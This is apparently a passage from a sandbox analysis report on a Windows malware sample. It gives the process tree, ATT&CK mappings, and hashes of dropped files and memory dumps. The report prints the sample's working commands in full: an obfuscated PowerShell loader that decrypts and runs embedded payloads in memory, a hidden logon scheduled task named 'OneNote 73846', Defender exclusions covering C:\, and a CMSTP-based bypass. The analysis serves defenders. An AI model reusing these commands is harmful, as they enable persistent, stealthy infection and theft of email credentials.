GQAZQBjAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQAsACAAMAAsACAAJABlAC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAJAByAGUAcwAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdAApAAoAIAAgACAAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHIAZQBzAAoA -inputFormat xml -outputFormat text
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3664
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aaoblhbk\aaoblhbk.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:596
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9B94.tmp" "c:\Users\Admin\AppData\Local\Temp\aaoblhbk\CSC338374BE2ED47E89F22B14CAADD0CD.TMP"
        5⤵
        
        PID:3936
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\dmsob5ff.inf
      4⤵
      PID:2636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\n1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\n1.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\n1.bat';$QkEK='SplexkUitexkU'.Replace('exkU', ''),'CbUqOrbUqOeabUqOtebUqODecbUqOrbUqOybUqOpbUqOtorbUqO'.Replace('bUqO', ''),'MZgfwaiZgfwnMoZgfwdulZgfweZgfw'.Replace('Zgfw', ''),'FrbSRYomBbSRYasbSRYe6bSRY4StbSRYribSRYnbSRYgbSRY'.Replace('bSRY', ''),'DecaHWxomaHWxpraHWxesaHWxsaHWx'.Replace('aHWx', ''),'IMSwmnMSwmvoMSwmkMSwmeMSwm'.Replace('MSwm', ''),'CoHbycpyTHbycoHbyc'.Replace('Hbyc', ''),'GeBtWttCuBtWtrBtWtrBtWtenBtWttPrBtWtocBtWtessBtWt'.Replace('BtWt', ''),'EynVQntynVQrynVQyPoynVQintynVQ'.Replace('ynVQ', ''),'ChsWdlansWdlgesWdlEsWdlxsWdltesWdlnsWdlsisWdlosWdlnsWdl'.Replace('sWdl', ''),'LHcgboadHcgb'.Replace('Hcgb', ''),'RtuYueatuYudLtuYuituYunetuYustuYu'.Replace('tuYu', ''),'EleDFGgmeDFGgnDFGgtDFGgAtDFGg'.Replace('DFGg', ''),'ThSmVranhSmVsfhSmVormhSmVFihSmVnahSmVlBhSmVlohSmVckhSmV'.Replace('hSmV', '');powershell -w hidden;function zUhpG($Vgbyz){$emkHJ=[System.Security.Cryptography.Aes]::Create();$emkHJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$emkHJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$emkHJ.Key=[System.Convert]::($QkEK[3])('/Hfk3/0HindNj+4DXkevo5htFNrm49tWPnBdwypza2U=');$emkHJ.IV=[System.Convert]::($QkEK[3])('Tm3jafLgvfKY6mYPS/HLjQ==');$uFrFo=$emkHJ.($QkEK[1])();$ghdHz=$uFrFo.($QkEK[13])($Vgbyz,0,$Vgbyz.Length);$uFrFo.Dispose();$emkHJ.Dispose();$ghdHz;}function yGhYh($Vgbyz){$BiDCz=New-Object System.IO.MemoryStream(,$Vgbyz);$rDAyB=New-Object System.IO.MemoryStream;$gTfnb=New-Object System.IO.Compression.GZipStream($BiDCz,[IO.Compression.CompressionMode]::($QkEK[4]));$gTfnb.($QkEK[6])($rDAyB);$gTfnb.Dispose();$BiDCz.Dispose();$rDAyB.Dispose();$rDAyB.ToArray();}$GQdwM=[System.IO.File]::($QkEK[11])([Console]::Title);$asQpo=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 5).Substring(2))));$wqKmU=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 6).Substring(2))));[System.Reflection.Assembly]::($QkEK[10])([byte[]]$wqKmU).($QkEK[8]).($QkEK[5])($null,$null);[System.Reflection.Assembly]::($QkEK[10])([byte[]]$asQpo).($QkEK[8]).($QkEK[5])($null,$null); "
      4⤵
      PID:4236
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3568
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\n1')
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:516
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 73846' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network73846Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1132
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network73846Man.cmd"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3092
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network73846Man.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:356
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network73846Man.cmd';$QkEK='SplexkUitexkU'.Replace('exkU', ''),'CbUqOrbUqOeabUqOtebUqODecbUqOrbUqOybUqOpbUqOtorbUqO'.Replace('bUqO', ''),'MZgfwaiZgfwnMoZgfwdulZgfweZgfw'.Replace('Zgfw', ''),'FrbSRYomBbSRYasbSRYe6bSRY4StbSRYribSRYnbSRYgbSRY'.Replace('bSRY', ''),'DecaHWxomaHWxpraHWxesaHWxsaHWx'.Replace('aHWx', ''),'IMSwmnMSwmvoMSwmkMSwmeMSwm'.Replace('MSwm', ''),'CoHbycpyTHbycoHbyc'.Replace('Hbyc', ''),'GeBtWttCuBtWtrBtWtrBtWtenBtWttPrBtWtocBtWtessBtWt'.Replace('BtWt', ''),'EynVQntynVQrynVQyPoynVQintynVQ'.Replace('ynVQ', ''),'ChsWdlansWdlgesWdlEsWdlxsWdltesWdlnsWdlsisWdlosWdlnsWdl'.Replace('sWdl', ''),'LHcgboadHcgb'.Replace('Hcgb', ''),'RtuYueatuYudLtuYuituYunetuYustuYu'.Replace('tuYu', ''),'EleDFGgmeDFGgnDFGgtDFGgAtDFGg'.Replace('DFGg', ''),'ThSmVranhSmVsfhSmVormhSmVFihSmVnahSmVlBhSmVlohSmVckhSmV'.Replace('hSmV', '');powershell -w hidden;function zUhpG($Vgbyz){$emkHJ=[System.Security.Cryptography.Aes]::Create();$emkHJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$emkHJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$emkHJ.Key=[System.Convert]::($QkEK[3])('/Hfk3/0HindNj+4DXkevo5htFNrm49tWPnBdwypza2U=');$emkHJ.IV=[System.Convert]::($QkEK[3])('Tm3jafLgvfKY6mYPS/HLjQ==');$uFrFo=$emkHJ.($QkEK[1])();$ghdHz=$uFrFo.($QkEK[13])($Vgbyz,0,$Vgbyz.Length);$uFrFo.Dispose();$emkHJ.Dispose();$ghdHz;}function yGhYh($Vgbyz){$BiDCz=New-Object System.IO.MemoryStream(,$Vgbyz);$rDAyB=New-Object System.IO.MemoryStream;$gTfnb=New-Object System.IO.Compression.GZipStream($BiDCz,[IO.Compression.CompressionMode]::($QkEK[4]));$gTfnb.($QkEK[6])($rDAyB);$gTfnb.Dispose();$BiDCz.Dispose();$rDAyB.Dispose();$rDAyB.ToArray();}$GQdwM=[System.IO.File]::($QkEK[11])([Console]::Title);$asQpo=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 5).Substring(2))));$wqKmU=yGhYh (zUhpG ([Convert]::($QkEK[3])([System.Linq.Enumerable]::($QkEK[12])($GQdwM, 6).Substring(2))));[System.Reflection.Assembly]::($QkEK[10])([byte[]]$wqKmU).($QkEK[8]).($QkEK[5])($null,$null);[System.Reflection.Assembly]::($QkEK[10])([byte[]]$asQpo).($QkEK[8]).($QkEK[5])($null,$null); "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        7⤵
        Blocklisted process makes network request
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:1588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network73846Man')
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 73846' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network73846Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\swlbfxaifxztgzmyjbs"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\uqqmgqkjbfryifacbmedcp"
        8⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:628
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\fkwehiddpnjkstwgkxrenczsz"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1680
  - - C:\Windows\system32\timeout.exe
      timeout /nobreak /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess Powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
938ffc2cba917b243d86b2cf76dcefb4

SHA1
234b53d91d075f16cc63c731eefdae278e2faad3

SHA256
5c1eaf13b15f1d5d1ea7f6c3fcbeff0f8b0faf8b9a620ecd26edb49d667f56ca

SHA512
e4ec928e5943a47739c862e3fd0c4bd9f1f21942e2416269f5057f5df49ce451d90acea39ee5319a0828ca1d944c2eda3eb8e7ab19984c7b8624a58f2111c314

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
21KB

MD5
49f4e601c846e84545aa6208f82c4e32

SHA1
0505188d7b488ff547ecf2ed7454cff02c34581e

SHA256
7fc6ff6c2ef7d04d3c6f2ca8dabe680033e38cd1c2ab88d2c0f699da7f21ffe2

SHA512
653a28cc0bf8db0ab29929ade6366589d45d359ba9dd8f2cdbb406603213578c9c85e4c644feec46770a9cc1caf3edcd2585beb1fc277a6c6f3263362ecbd454

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
abc44172116e7874857d1f74b37bb732

SHA1
ae24f4465f9c0eae5ee6e41daba4f627243cc89a

SHA256
e97ea2858af9bbb4051dc9def961d7d85058d1c8af21067d2b3e5921c180f9a8

SHA512
d255c4cf472fd251114b4d2a8cc86c5d0c976363ef35aa2ae78893b3e7d14d1771d52856a4586be0ca47ad7e710a21418c5279a84d1c019bf28dbcc354398247

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
21KB

MD5
a811e94bfc0bc73da368d03164b02dde

SHA1
2312067111cff958bacbdba72fcccfd5c81f807d

SHA256
cad41609af8afa3305bc329c340002e516a3e0e5b9b2e5a69ec57b669608025f

SHA512
531ac2ba0fec8aeaafbcd34b974eba57ca102bf03cd3272e8657afc91cbb165219f7b27fb659413f1901fe623a1c4038a22b7f599104f82ccb88b5a3753eb424

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
39610ef65838d514691bf25f45ec1d00

SHA1
f67a1af760598f8783b3bb55eaff48dc48dc9fe9

SHA256
19c5aa213aacf12f9fbb858559d2bf32c83ead2e6a96601738f0a6a377fb0d21

SHA512
290b4d58d3863bc36f90911b468fcaf84ac7497ca996de98210c709dba829884a43965904aeed6e0aa072617bae2b83f6c104fe9f7f23f0f7e96076d83809b43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4abdf5877984973df7031e02dcdaa957

SHA1
600bf4203f4cd3201b0595c9bd499d93ea9ebfc4

SHA256
098b34ddc05f4a72404180784dad7fda1f2ed00d408bb76f7fa2ac924efd1cbe

SHA512
f55b463a89a5b57e68b29c7c343b305fd2221bc07a004a5a85404fe4a5d979c657afcafb8fbfaf477ed434a5703014bc7ca3928794f8bc60e243744dee54265d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9B94.tmp

Filesize
1KB

MD5
8b1a3b9961b46a75b6394f9a310c019b

SHA1
e2e4bfa6b841ef7768ea57e6b06ca24cb24a65e1

SHA256
4018373d34fa024ebbb2932c360e82c6b15291012f45e7cb1b41c61bff8cf667

SHA512
880b4fef5fe8b25b42e590ebf6f3eb8d385b586d3672aec01a87c6401ae8d3f26ac840118b8f91885083cd67ea606765b812835302063d81241036df6eb455b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hcbzgxle.ehj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\aaoblhbk\aaoblhbk.dll

Filesize
4KB

MD5
94c4156521fcea4ac164948475669a20

SHA1
1fe91d54689895e23355736a157ddae5a93b733b

SHA256
6a2e70ad3ef0a0e5dc6a39b13faadfc28bf90ec1cae7791c580d0bbfda74caae

SHA512
641ffbae2c1677debe806eeeb46a4f9f86dc2e4f5e642ff1fe733a77d11ef11eb3ba242b1cc276f24aa81f6bcf4d169ca7dca0dd28fbdb88576c0bae86073637

Download Submit
C:\Users\Admin\AppData\Local\Temp\n1.bat

Filesize
562KB

MD5
d1d99208a499e870e1e0a34a2cbba829

SHA1
85f7090ce76bdae0a07154b27117ec5ac9e9f673

SHA256
d302c8c72b06785d8d4af94a118856907e3775becb17253ba62ccd3ddc669879

SHA512
badea3d061cdfd1c7929be03d0c4c66eb5cab3091740f935d58a601a56f5be6c372c3ae48bef6ef759581a5c4244885de1c5c02247391bfca7aee5c1c62d7497

Download Submit
C:\Users\Admin\AppData\Local\Temp\swlbfxaifxztgzmyjbs

Filesize
4KB

MD5
f1d2c01ce674ad7d5bad04197c371fbc

SHA1
4bf0ed04d156a3dc6c8d27e134ecbda76d3585aa

SHA256
25b006032deccd628940ef728fffe83b325a85de453a34691f55f570e4460094

SHA512
81cb982cc33dcc27600a8a681c3ec3cc5b9221b95baa45e1ab24479745a9638b9f31d7beeeb1128b3294ff69b44e958c75e25d565f66790c364665caff96ee77

Download Submit
C:\windows\temp\dmsob5ff.inf

Filesize
655B

MD5
a50ad3c72d773f4374ccb89b74a7b0ea

SHA1
2efe6cda55cd90cfda1f6af35686f813e252a607

SHA256
f48f5fbc541f12fcb33c204ad87fc80b693fd3241ecd1b79dbe2b6cc7b636f5a

SHA512
d564a299836e15f8139263ffbd165a0f1fa6b6c0b30b6d037f7822aacea5351e7f8f461422e5258e754e4e80d1aa7b4773d91632b1c0264a64020fba5b9b728f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\aaoblhbk\CSC338374BE2ED47E89F22B14CAADD0CD.TMP

Filesize
652B

MD5
28604cc947937aa6d3e72e5ce3265af3

SHA1
9c07d11d7396549ddbcf5005401071828eed9324

SHA256
675326cd2aee386c057a95bef1dd9f1cb0ba9656d4ed899f87bc2f404496b5a0

SHA512
97e82671d57a3ad5617f2893868d8f016d645afcc5bcf921fe8676b670f7016c5ea0f05d3961ef5f456418a2edc9ff62ce83eb0864224398cf8b156749d8ebb0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\aaoblhbk\aaoblhbk.0.cs

Filesize
2KB

MD5
da774b7c7335bf78596f22c13b46a80c

SHA1
43d248947111e2d943aa1c77df51fd5192e92797

SHA256
da5feb1c361cdfd307e18c753790933d18968da7a5de454a2fae3d9dd5e1fba8

SHA512
9c8efab5895c50069512e56b4efc81547f70092064cad8cf526a77f087dace036e876e4da5178d30be213b0c3d9214ef660920c6eff2c7474e5a6d47dfea40d0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\aaoblhbk\aaoblhbk.cmdline

Filesize
369B

MD5
a021631729438b06ee07a5338f788fb9

SHA1
89369a2005187bcf69d768681bf9a89ff06b257b

SHA256
1cf7e0be9f4b8bfd45395089864e7c6795f55a6c9009ca2003d267198f82f16d

SHA512
5cda0eac6e00fb507c0e031f5e5a735cd9471a0a4819aedd3cbd796cb8f23dd10c3fc95ff63baa7c4466c722642bfb81d78644491c0d331389c60bf36d7ceb87

Download Submit
memory/396-180-0x0000000070890000-0x00000000708DC000-memory.dmp

Filesize
304KB

Download
memory/396-191-0x0000000007280000-0x0000000007291000-memory.dmp

Filesize
68KB

Download
memory/396-190-0x0000000006F70000-0x0000000007013000-memory.dmp

Filesize
652KB

Download
memory/516-121-0x0000000006EC0000-0x0000000006ECA000-memory.dmp

Filesize
40KB

Download
memory/516-119-0x0000000006050000-0x000000000606E000-memory.dmp

Filesize
120KB

Download
memory/516-109-0x0000000070890000-0x00000000708DC000-memory.dmp

Filesize
304KB

Download
memory/516-108-0x0000000006CD0000-0x0000000006D02000-memory.dmp

Filesize
200KB

Download
memory/516-120-0x0000000006D10000-0x0000000006DB3000-memory.dmp

Filesize
652KB

Download
memory/516-123-0x0000000007040000-0x0000000007051000-memory.dmp

Filesize
68KB

Download
memory/516-122-0x0000000007110000-0x00000000071A6000-memory.dmp

Filesize
600KB

Download
memory/628-230-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/628-232-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/628-236-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/1132-135-0x0000000070890000-0x00000000708DC000-memory.dmp

Filesize
304KB

Download
memory/1588-215-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1588-214-0x0000000007930000-0x0000000007986000-memory.dmp

Filesize
344KB

Download
memory/1596-229-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1596-234-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1596-237-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1680-233-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1680-235-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1680-231-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2484-53-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-1-0x0000020C4D190000-0x0000020C4D1B2000-memory.dmp

Filesize
136KB

Download
memory/2484-11-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-59-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-52-0x00007FFCE6AF3000-0x00007FFCE6AF5000-memory.dmp

Filesize
8KB

Download
memory/2484-12-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-0-0x00007FFCE6AF3000-0x00007FFCE6AF5000-memory.dmp

Filesize
8KB

Download
memory/3132-203-0x0000000070890000-0x00000000708DC000-memory.dmp

Filesize
304KB

Download
memory/3568-67-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/3568-78-0x0000000005B50000-0x0000000005EA4000-memory.dmp

Filesize
3.3MB

Download
memory/3568-96-0x00000000075B0000-0x000000000761E000-memory.dmp

Filesize
440KB

Download
memory/3568-84-0x00000000073D0000-0x00000000073EA000-memory.dmp

Filesize
104KB

Download
memory/3568-68-0x0000000005AE0000-0x0000000005B46000-memory.dmp

Filesize
408KB

Download
memory/3568-83-0x0000000007A50000-0x00000000080CA000-memory.dmp

Filesize
6.5MB

Download
memory/3568-65-0x0000000005350000-0x0000000005978000-memory.dmp

Filesize
6.2MB

Download
memory/3568-66-0x0000000005270000-0x0000000005292000-memory.dmp

Filesize
136KB

Download
memory/3568-79-0x0000000006030000-0x000000000604E000-memory.dmp

Filesize
120KB

Download
memory/3568-64-0x0000000002840000-0x0000000002876000-memory.dmp

Filesize
216KB

Download
memory/3568-80-0x0000000006080000-0x00000000060CC000-memory.dmp

Filesize
304KB

Download
memory/3568-81-0x0000000006470000-0x00000000064B4000-memory.dmp

Filesize
272KB

Download
memory/3568-82-0x0000000007350000-0x00000000073C6000-memory.dmp

Filesize
472KB

Download
memory/3664-35-0x000001FDF8960000-0x000001FDF8968000-memory.dmp

Filesize
32KB

Download
memory/3664-22-0x000001FDF7C70000-0x000001FDF7C8C000-memory.dmp

Filesize
112KB

Download